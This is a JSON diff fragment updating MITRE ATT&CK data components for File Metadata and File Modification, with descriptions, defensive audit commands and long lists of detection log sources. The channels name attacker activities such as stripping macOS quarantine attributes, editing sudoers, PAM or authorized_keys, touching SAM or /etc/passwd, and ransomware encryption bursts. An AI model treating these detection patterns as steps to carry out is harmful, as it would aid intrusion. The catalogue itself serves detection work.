\"linux:Sysmon\", \"channel\": \"EventCode=23\"}, {\"name\": \"fs:fsusage\", \"channel\": \"unlink, fs_delete\"}, {\"name\": \"docker:daemon\", \"channel\": \"container file operations\"}, {\"name\": \"esxi:hostd\", \"channel\": \"rm, clearlogs, logrotate\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Datastore file operations\"}, {\"name\": \"macos:osquery\", \"channel\": \"CREATE, DELETE, WRITE: Stored data manipulation attempts by unauthorized processes\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"unlink/unlinkat\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Backup\", \"channel\": \"Windows Backup Catalog deletion or catalog corruption\"}, {\"name\": \"auditd:CONFIG_CHANGE\", \"channel\": \"/etc/fstab, /etc/systemd/*\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.450000+00:00\", \"old_value\": \"2025-04-18 15:10:21.434000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:35.397000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0059", + "external_id": "DC0059" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "File Metadata", + "description": "contextual information about a file, including attributes such as the file's name, size, type, content (e.g., signatures, headers, media), user/owner, permissions, timestamps, and other related properties. File metadata provides insights into a file's characteristics and can be used to detect malicious activity, unauthorized modifications, or other anomalies. Examples: \n\n- File Ownership and Permissions: Checking the owner and permissions of a critical configuration file like /etc/passwd on Linux or C:\\Windows\\System32\\config\\SAM on Windows.\n- Timestamps: Analyzing the creation, modification, and access timestamps of a file.\n- File Content and Signatures: Extracting the headers of an executable file to verify its signature or detect packing/obfuscation.\n- File Attributes: Analyzing attributes like hidden, system, or read-only flags in Windows.\n- File Hashes: Generating MD5, SHA-1, or SHA-256 hashes of files to compare against threat intelligence feeds.\n- File Location: Monitoring files located in unusual directories or paths, such as temporary or user folders.\n\nThis data component can be collected through the following measures:\n\nWindows\n\n- Sysinternals Tools: Use `AccessEnum` or `PSFile` to retrieve metadata about file access and permissions.\n- Windows Event Logs: Enable object access auditing and monitor events like 4663 (Object Access) and 5140 (A network share object was accessed).\n- PowerShell: Use Get-Item or Get-ChildItem cmdlets: `Get-ChildItem -Path \"C:\\Path\\To\\Directory\" -Recurse | Select-Object Name, Length, LastWriteTime, Attributes`\n\nLinux\n\n- File System Commands: Use `ls -l` or stat to retrieve file metadata: `stat /path/to/file`\n- Auditd: Configure audit rules to log metadata access: `auditctl -w /path/to/file -p wa -k file_metadata`\n- Filesystem Integrity Tools: Tools like tripwire or AIDE (Advanced Intrusion Detection Environment) can monitor file metadata changes.\n\nmacOS\n\n- FSEvents: Use FSEvents to track file metadata changes.\n- Endpoint Security Framework (ESF): Capture metadata-related events via ESF APIs.\n- Command-Line Tools: Use ls -l or xattr for file attributes: `ls -l@ /path/to/file`\n\nSIEM Integration\n\n- Forward file metadata logs from endpoint or network devices to a SIEM for centralized analysis.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "File", + "channel": "None" + }, + { + "name": "linux:osquery", + "channel": "event-based" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Invalid/Unsigned image when developer tool launches newly installed binaries" + }, + { + "name": "journald:package", + "channel": "dpkg/apt or yum/dnf transaction logs (install/update of build tools)" + }, + { + "name": "linux:osquery", + "channel": "file_events, hash" + }, + { + "name": "macos:unifiedlog", + "channel": "softwareupdated/homebrew/install logs, pkginstalld events" + }, + { + "name": "macos:unifiedlog", + "channel": "AMFI or Gatekeeper signature/notarization failures for newly installed dev components" + }, + { + "name": "auditd:SYSCALL", + "channel": "Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/" + }, + { + "name": "linux:syslog", + "channel": "Discrepancies in _VBA_PROJECT p-code vs source code extracted with oletools/pcodedmp" + }, + { + "name": "macos:unifiedlog", + "channel": "Detection of altered _VBA_PROJECT or PerformanceCache streams" + }, + { + "name": "EDR:file", + "channel": "File Metadata Inspection (Low String Entropy, Missing PDB)" + }, + { + "name": "linux:osquery", + "channel": "hash, elf_info, file_metadata" + }, + { + "name": "macos:osquery", + "channel": "code_signing, file_metadata" + }, + { + "name": "WinEventLog:Windows Defender", + "channel": "Operational log" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem:syspolicyd" + }, + { + "name": "macos:unifiedlog", + "channel": "File metadata updated with UF_HIDDEN flag" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + }, + { + "name": "auditd:PATH", + "channel": "file path matches exclusion directories" + }, + { + "name": "auditd:SYSCALL", + "channel": "path" + }, + { + "name": "auditd:PATH", + "channel": "PATH" + }, + { + "name": "macos:endpointsecurity", + "channel": "es_event_file_rename_t or es_event_file_write_t" + }, + { + "name": "linux:osquery", + "channel": "file_events" + }, + { + "name": "fs:fileevents", + "channel": "/var/log/install.log" + }, + { + "name": "auditd:SYSCALL", + "channel": "file write after sleep delay" + }, + { + "name": "esxi:vmkernel", + "channel": "Upload of file to datastore" + }, + { + "name": "ebpf:syscalls", + "channel": "Unexpected container volume unmount + file deletion" + }, + { + "name": "macos:osquery", + "channel": "file_events" + }, + { + "name": "EDR:file", + "channel": "File Metadata Analysis (PE overlays, entropy)" + }, + { + "name": "linux:osquery", + "channel": "elf_info, hash, yara_matches" + }, + { + "name": "macos:osquery", + "channel": "mach_o_info, file_metadata" + }, + { + "name": "macos:unifiedlog", + "channel": "Code signature validation fails or is absent post-binary modification" + }, + { + "name": "fs:filesystem", + "channel": "Binary file hash changes outside of update/patch cycles" + }, + { + "name": "linux:osquery", + "channel": "Read headers and detect MIME type mismatch" + }, + { + "name": "macos:unifiedlog", + "channel": "Code signing verification failures or bypassed trust decisions" + }, + { + "name": "NSM:Flow", + "channel": "Observed File Transfers" + }, + { + "name": "esxi:vmkernel", + "channel": "Storage access and file ops" + }, + { + "name": "macos:unifiedlog", + "channel": "Creation of new LaunchAgent or LoginItem plist files in ~/Library/LaunchAgents/" + }, + { + "name": "auditd:CONFIG_CHANGE", + "channel": "chmod or chown of hook files indicating privilege escalation or execution permission change" + }, + { + "name": "macos:unifiedlog", + "channel": "filesystem events" + }, + { + "name": "macos:unifiedlog", + "channel": "xattr -d com.apple.quarantine or similar attribute removal commands" + }, + { + "name": "macos:unifiedlog", + "channel": "Gatekeeper quarantine policy decision anomalies recorded in com.apple.LaunchServices.QuarantineEventsV2" + }, + { + "name": "linux:syslog", + "channel": "application or system execution logs" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4670" + }, + { + "name": "auditd:SYSCALL", + "channel": "syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, setxattr, lsetxattr, fsetxattr)" + }, + { + "name": "linux:syslog", + "channel": "file permission modification events in kernel messages" + }, + { + "name": "fs:fsevents", + "channel": "file system events indicating permission or attribute changes" + }, + { + "name": "OpenBSM:AuditTrail", + "channel": "BSM audit events for file permission modifications" + }, + { + "name": "esxi:hostd", + "channel": "host daemon events related to file or VM permission changes" + }, + { + "name": "esxi:vmkernel", + "channel": "VMware kernel events for file system permission modifications" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Unsigned or invalid image for newly installed/updated binaries" + }, + { + "name": "journald:package", + "channel": "dpkg/apt/yum/dnf transaction logs; vendor updaters in systemd journals" + }, + { + "name": "macos:unifiedlog", + "channel": "pkginstalld/softwareupdated/Homebrew install transactions" + }, + { + "name": "macos:unifiedlog", + "channel": "AMFI/Gatekeeper code signature or notarization failures" + }, + { + "name": "EDR:detection", + "channel": "App reputation telemetry" + }, + { + "name": "gatekeeper/quarantine database", + "channel": "LaunchServices quarantine" + }, + { + "name": "linux:osquery", + "channel": "file_events.path" + }, + { + "name": "auditd:SYSCALL", + "channel": "setuid or setgid bit changes" + }, + { + "name": "linux:osquery", + "channel": "Filesystem modifications to trusted paths" + }, + { + "name": "fs:fsusage", + "channel": "filesystem monitoring of exec/open" + }, + { + "name": "auditd:SYSCALL", + "channel": "syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, lchown, setxattr, lsetxattr, fsetxattr, removexattr, lremovexattr, fremovexattr)" + }, + { + "name": "auditd:PATH", + "channel": "file path modifications on critical system directories (/etc, /usr/bin, /usr/sbin, /var, /opt)" + }, + { + "name": "linux:syslog", + "channel": "kernel messages related to file system permission changes and security violations" + }, + { + "name": "OpenBSM:AuditTrail", + "channel": "BSM audit events for file permission, ownership, and attribute modifications with user context" + }, + { + "name": "macos:unifiedlog", + "channel": "kernel extension and system extension logs related to file system security violations or SIP bypass attempts" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Code integrity violations in boot-start drivers or firmware" + }, + { + "name": "fwupd:logs", + "channel": "Firmware updates applied or failed" + }, + { + "name": "macos:endpointsecurity", + "channel": "es_event_authentication" + }, + { + "name": "esxi:vmkernel", + "channel": "Datastore modification events" + }, + { + "name": "linux:osquery", + "channel": "Write or modify .desktop file in XDG autostart path" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected application binary modifications or altered signing status" + }, + { + "name": "auditd:SYSCALL", + "channel": "setxattr or getxattr system call" + }, + { + "name": "macos:unifiedlog", + "channel": "extended attribute write or modification" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4663, 4656, 4658" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "name": "auditd:SYSCALL", + "channel": "chmod, chown, setxattr, or file writes to /etc/ssl/* or /usr/local/share/ca-certificates/*" + }, + { + "name": "macos:unifiedlog", + "channel": "New certificate trust settings added by unexpected process" + }, + { + "name": "esxi:syslog", + "channel": "Datastore file hidden or renamed unexpectedly" + }, + { + "name": "WinEventLog:Windows Defender", + "channel": "Operational" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.lsd" + }, + { + "name": "saas:RepoEvents", + "channel": "New file added or modified in PR targeting CI/CD or build config (e.g., `gitlab-ci.yml`, `build.gradle`, `pom.xml`, `.github/workflows/*.yml`)" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "CodeIntegrity reports 'Invalid image hash' or 'Unsigned image' for new/updated binaries" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational", + "channel": "SmartScreen or ASR blocks on newly downloaded installer/updater" + }, + { + "name": "WinEventLog:Setup", + "channel": "MSI/Product install, repair or update events" + }, + { + "name": "journald:package", + "channel": "dpkg/apt install, remove, upgrade events" + }, + { + "name": "journald:package", + "channel": "yum/dnf install or update transactions" + }, + { + "name": "linux:osquery", + "channel": "hash, rpm_packages, deb_packages, file_events" + }, + { + "name": "macos:unifiedlog", + "channel": "installer or system_installd 'PackageKit: install succeeded/failed' with non-notarized or unknown signer" + }, + { + "name": "macos:unifiedlog", + "channel": "Gatekeeper/AMFI 'code signature invalid' / 'not notarized' messages" + }, + { + "name": "networkdevice:syslog", + "channel": "OS version query results inconsistent with expected or approved version list" + }, + { + "name": "macos:unifiedlog", + "channel": "File creation or modification with com.apple.ResourceFork extended attribute" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15 " + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0059\", \"external_id\": \"DC0059\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"File\", \"channel\": \"None\"}, {\"name\": \"linux:osquery\", \"channel\": \"event-based\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"Invalid/Unsigned image when developer tool launches newly installed binaries\"}, {\"name\": \"journald:package\", \"channel\": \"dpkg/apt or yum/dnf transaction logs (install/update of build tools)\"}, {\"name\": \"linux:osquery\", \"channel\": \"file_events, hash\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"softwareupdated/homebrew/install logs, pkginstalld events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"AMFI or Gatekeeper signature/notarization failures for newly installed dev components\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/\"}, {\"name\": \"linux:syslog\", \"channel\": \"Discrepancies in _VBA_PROJECT p-code vs source code extracted with oletools/pcodedmp\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Detection of altered _VBA_PROJECT or PerformanceCache streams\"}, {\"name\": \"EDR:file\", \"channel\": \"File Metadata Inspection (Low String Entropy, Missing PDB)\"}, {\"name\": \"linux:osquery\", \"channel\": \"hash, elf_info, file_metadata\"}, {\"name\": \"macos:osquery\", \"channel\": \"code_signing, file_metadata\"}, {\"name\": \"WinEventLog:Windows Defender\", \"channel\": \"Operational log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem:syspolicyd\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File metadata updated with UF_HIDDEN flag\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=15\"}, {\"name\": \"auditd:PATH\", \"channel\": \"file path matches exclusion directories\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"path\"}, {\"name\": \"auditd:PATH\", \"channel\": \"PATH\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"es_event_file_rename_t or es_event_file_write_t\"}, {\"name\": \"linux:osquery\", \"channel\": \"file_events\"}, {\"name\": \"fs:fileevents\", \"channel\": \"/var/log/install.log\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"file write after sleep delay\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Upload of file to datastore\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"Unexpected container volume unmount + file deletion\"}, {\"name\": \"macos:osquery\", \"channel\": \"file_events\"}, {\"name\": \"EDR:file\", \"channel\": \"File Metadata Analysis (PE overlays, entropy)\"}, {\"name\": \"linux:osquery\", \"channel\": \"elf_info, hash, yara_matches\"}, {\"name\": \"macos:osquery\", \"channel\": \"mach_o_info, file_metadata\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Code signature validation fails or is absent post-binary modification\"}, {\"name\": \"fs:filesystem\", \"channel\": \"Binary file hash changes outside of update/patch cycles\"}, {\"name\": \"linux:osquery\", \"channel\": \"Read headers and detect MIME type mismatch\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Code signing verification failures or bypassed trust decisions\"}, {\"name\": \"NSM:Flow\", \"channel\": \"Observed File Transfers\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Storage access and file ops\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Creation of new LaunchAgent or LoginItem plist files in ~/Library/LaunchAgents/\"}, {\"name\": \"auditd:CONFIG_CHANGE\", \"channel\": \"chmod or chown of hook files indicating privilege escalation or execution permission change\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"filesystem events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"xattr -d com.apple.quarantine or similar attribute removal commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Gatekeeper quarantine policy decision anomalies recorded in com.apple.LaunchServices.QuarantineEventsV2\"}, {\"name\": \"linux:syslog\", \"channel\": \"application or system execution logs\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4670\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, setxattr, lsetxattr, fsetxattr)\"}, {\"name\": \"linux:syslog\", \"channel\": \"file permission modification events in kernel messages\"}, {\"name\": \"fs:fsevents\", \"channel\": \"file system events indicating permission or attribute changes\"}, {\"name\": \"OpenBSM:AuditTrail\", \"channel\": \"BSM audit events for file permission modifications\"}, {\"name\": \"esxi:hostd\", \"channel\": \"host daemon events related to file or VM permission changes\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"VMware kernel events for file system permission modifications\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"Unsigned or invalid image for newly installed/updated binaries\"}, {\"name\": \"journald:package\", \"channel\": \"dpkg/apt/yum/dnf transaction logs; vendor updaters in systemd journals\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"pkginstalld/softwareupdated/Homebrew install transactions\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"AMFI/Gatekeeper code signature or notarization failures\"}, {\"name\": \"EDR:detection\", \"channel\": \"App reputation telemetry\"}, {\"name\": \"gatekeeper/quarantine database\", \"channel\": \"LaunchServices quarantine\"}, {\"name\": \"linux:osquery\", \"channel\": \"file_events.path\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"setuid or setgid bit changes\"}, {\"name\": \"linux:osquery\", \"channel\": \"Filesystem modifications to trusted paths\"}, {\"name\": \"fs:fsusage\", \"channel\": \"filesystem monitoring of exec/open\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, lchown, setxattr, lsetxattr, fsetxattr, removexattr, lremovexattr, fremovexattr)\"}, {\"name\": \"auditd:PATH\", \"channel\": \"file path modifications on critical system directories (/etc, /usr/bin, /usr/sbin, /var, /opt)\"}, {\"name\": \"linux:syslog\", \"channel\": \"kernel messages related to file system permission changes and security violations\"}, {\"name\": \"OpenBSM:AuditTrail\", \"channel\": \"BSM audit events for file permission, ownership, and attribute modifications with user context\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"kernel extension and system extension logs related to file system security violations or SIP bypass attempts\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"Code integrity violations in boot-start drivers or firmware\"}, {\"name\": \"fwupd:logs\", \"channel\": \"Firmware updates applied or failed\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"es_event_authentication\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Datastore modification events\"}, {\"name\": \"linux:osquery\", \"channel\": \"Write or modify .desktop file in XDG autostart path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected application binary modifications or altered signing status\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"setxattr or getxattr system call\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"extended attribute write or modification\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4663, 4656, 4658\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4663\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chmod, chown, setxattr, or file writes to /etc/ssl/* or /usr/local/share/ca-certificates/*\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"New certificate trust settings added by unexpected process\"}, {\"name\": \"esxi:syslog\", \"channel\": \"Datastore file hidden or renamed unexpectedly\"}, {\"name\": \"WinEventLog:Windows Defender\", \"channel\": \"Operational\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.lsd\"}, {\"name\": \"saas:RepoEvents\", \"channel\": \"New file added or modified in PR targeting CI/CD or build config (e.g., `gitlab-ci.yml`, `build.gradle`, `pom.xml`, `.github/workflows/*.yml`)\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"CodeIntegrity reports 'Invalid image hash' or 'Unsigned image' for new/updated binaries\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Defender/Operational\", \"channel\": \"SmartScreen or ASR blocks on newly downloaded installer/updater\"}, {\"name\": \"WinEventLog:Setup\", \"channel\": \"MSI/Product install, repair or update events\"}, {\"name\": \"journald:package\", \"channel\": \"dpkg/apt install, remove, upgrade events\"}, {\"name\": \"journald:package\", \"channel\": \"yum/dnf install or update transactions\"}, {\"name\": \"linux:osquery\", \"channel\": \"hash, rpm_packages, deb_packages, file_events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"installer or system_installd 'PackageKit: install succeeded/failed' with non-notarized or unknown signer\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Gatekeeper/AMFI 'code signature invalid' / 'not notarized' messages\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"OS version query results inconsistent with expected or approved version list\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"File creation or modification with com.apple.ResourceFork extended attribute\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=15 \"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.397000+00:00\", \"old_value\": \"2025-04-18 15:10:14.725000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:35.239000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0061", + "external_id": "DC0061" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "File Modification", + "description": "Changes made to a file, including updates to its contents, metadata, access permissions, or attributes. These modifications may indicate legitimate activity (e.g., software updates) or unauthorized changes (e.g., tampering, ransomware, or adversarial modifications). Examples: \n\n- Content Modifications: Changes to the content of a configuration file, such as modifying `/etc/ssh/sshd_config` on Linux or `C:\\Windows\\System32\\drivers\\etc\\hosts` on Windows.\n- Permission Changes: Altering file permissions to allow broader access, such as changing a file from `644` to `777` on Linux or modifying NTFS permissions on Windows.\n- Attribute Modifications: Changing a file's attributes to hidden, read-only, or system on Windows.\n- Timestamp Manipulation: Adjusting a file's creation or modification timestamp using tools like `touch` in Linux or timestomping tools on Windows.\n- Software or System File Changes: Modifying system files such as `boot.ini`, kernel modules, or application binaries.\n\nThis data component can be collected through the following measures:\n\nWindows\n\n- Event Logs: Enable file system auditing to monitor file modifications using Security Event ID 4670 (File System Audit) or Sysmon Event ID 2 (File creation time changed).\n- PowerShell: Use Get-ItemProperty or Get-Acl cmdlets to monitor file properties: `Get-Item -Path \"C:\\path\\to\\file\" | Select-Object Name, Attributes, LastWriteTime`\n\nLinux\n\n- File System Monitoring: Use tools like auditd with rules to monitor file modifications: `auditctl -w /path/to/file -p wa -k file_modification`\n- Inotify: Use inotifywait to watch for real-time changes to files or directories: `inotifywait -m /path/to/file`\n\nmacOS\n\n- Endpoint Security Framework (ESF): Monitor file modification events using ESF APIs.\n- Audit Framework: Configure audit rules to track file changes.\n- Command-Line Tools: Use fs_usage to monitor file activities: `fs_usage -w /path/to/file`\n\nSIEM Tools\n\n- Collect logs from endpoint agents (e.g., Sysmon, Auditd) and file servers to centralize file modification event data.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "File", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write calls modifying ~/.bashrc, ~/.profile, or /etc/paths.d" + }, + { + "name": "macos:unifiedlog", + "channel": "File modification in /etc/paths.d or user shell rc files" + }, + { + "name": "fs:fileevents", + "channel": "/var/log/quarantine.log" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of ~/Library/LaunchAgents or /Library/LaunchDaemons plist" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, write" + }, + { + "name": "auditd:SYSCALL", + "channel": "AUDIT_SYSCALL (open, write, rename, unlink)" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_WRITE, targeting .zshrc, .zlogin, .zprofile" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "name": "fs:fileevents", + "channel": "/var/log/install.log" + }, + { + "name": "auditd:SYSCALL", + "channel": "PATH" + }, + { + "name": "macos:osquery", + "channel": "file_events" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve call for modification of /etc/sudoers or writing to /var/db/sudo" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, write: File modifications under /etc/ssl/certs, /usr/local/share/ca-certificates, or /etc/pki/ca-trust/source/anchors" + }, + { + "name": "macos:osquery", + "channel": "query: Enumeration of root certificates showing unexpected additions" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, unlink, rename: Suspicious file access, deletion, or modification of sensitive paths" + }, + { + "name": "macos:unifiedlog", + "channel": "Anomalous plist modifications or sensitive file overwrites by non-standard processes" + }, + { + "name": "auditd:FILE", + "channel": "Modification or deletion of /etc/audit/audit.rules or /etc/audit/audit.conf" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write of .service unit files" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write/unlink" + }, + { + "name": "macos:unifiedlog", + "channel": "loginwindow or desktopservices modified settings or files" + }, + { + "name": "ESXiLogs:messages", + "channel": "changes to /etc/motd or /etc/vmware/welcome" + }, + { + "name": "auditd:SYSCALL", + "channel": "write, rename" + }, + { + "name": "containerd:runtime", + "channel": "file change monitoring within /etc/cron.*, /tmp, or mounted volumes" + }, + { + "name": "esxi:cron", + "channel": "manual edits to /etc/rc.local.d/local.sh or cron.d" + }, + { + "name": "auditd:PATH", + "channel": "/etc/passwd or /etc/group file write" + }, + { + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "name": "macos:unifiedlog", + "channel": "SecurityAgentPlugins modification" + }, + { + "name": "macos:unifiedlog", + "channel": "write: File modifications to *.plist within LaunchAgents, LaunchDaemons, Application Support, or Preferences directories" + }, + { + "name": "linux:osquery", + "channel": "file_events" + }, + { + "name": "esxi:hostd", + "channel": "boot" + }, + { + "name": "networkdevice:syslog", + "channel": "config" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of backgrounditems.btm or creation of LoginItems subdirectory in .app bundle" + }, + { + "name": "fs:filesystem", + "channel": "Modification or creation of files matching 'com.apple.loginwindow.*.plist' in ~/Library/Preferences/ByHost" + }, + { + "name": "auditd:SYSCALL", + "channel": "write | PATH=/home/*/.ssh/authorized_keys" + }, + { + "name": "macos:auth", + "channel": "~/.ssh/authorized_keys" + }, + { + "name": "gcp:audit", + "channel": "compute.instances.setMetadata" + }, + { + "name": "azure:resource", + "channel": "PATCH vm/authorized_keys" + }, + { + "name": "esxi:shell", + "channel": "file write or edit" + }, + { + "name": "linux:syslog", + "channel": "rename" + }, + { + "name": "ebpf:syscalls", + "channel": "file_write" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of plist with apple.awt.UIElement set to TRUE" + }, + { + "name": "fs:fsusage", + "channel": "unlink, write" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, write: Write operations targeting /dev/sda, /dev/nvme0n1, or EFI partition mounts" + }, + { + "name": "auditd:PATH", + "channel": "write: Modification of /boot/grub/*, /boot/efi/EFI/*, or initramfs images" + }, + { + "name": "networkdevice:config", + "channel": "config-change: timezone or ntp server configuration change after a time query command" + }, + { + "name": "macos:unifiedlog", + "channel": "replace existing dylibs" + }, + { + "name": "networkdevice:config", + "channel": "Configuration changes to boot variables, startup image paths, or checksum verification failures" + }, + { + "name": "firmware:update", + "channel": "Unexpected or unscheduled firmware updates, image overwrites, or failed signature validation" + }, + { + "name": "IntegrityCheck:ImageValidation", + "channel": "Checksum or hash mismatch between running image and known-good vendor-provided image" + }, + { + "name": "macos:osquery", + "channel": "File modifications in ~/Library/Preferences/" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/write to /etc/pam.d/*" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of /Library/Security/SecurityAgentPlugins" + }, + { + "name": "macos:unifiedlog", + "channel": "Modifications to Mail.app plist files controlling message rules" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4656,4663" + }, + { + "name": "auditd:SYSCALL", + "channel": "write: Modification of structured stored data by suspicious processes" + }, + { + "name": "linux:syslog", + "channel": "Unexpected log entries or malformed SQL operations in databases" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected creation or modification of stored data files in protected directories" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EvenCode=2" + }, + { + "name": "auditd:SYSCALL", + "channel": "openat, write, rename, unlink" + }, + { + "name": "macos:unifiedlog", + "channel": "file encrypted|new file with .encrypted extension|disk write burst" + }, + { + "name": "esxi:vmkernel", + "channel": "rename .vmdk 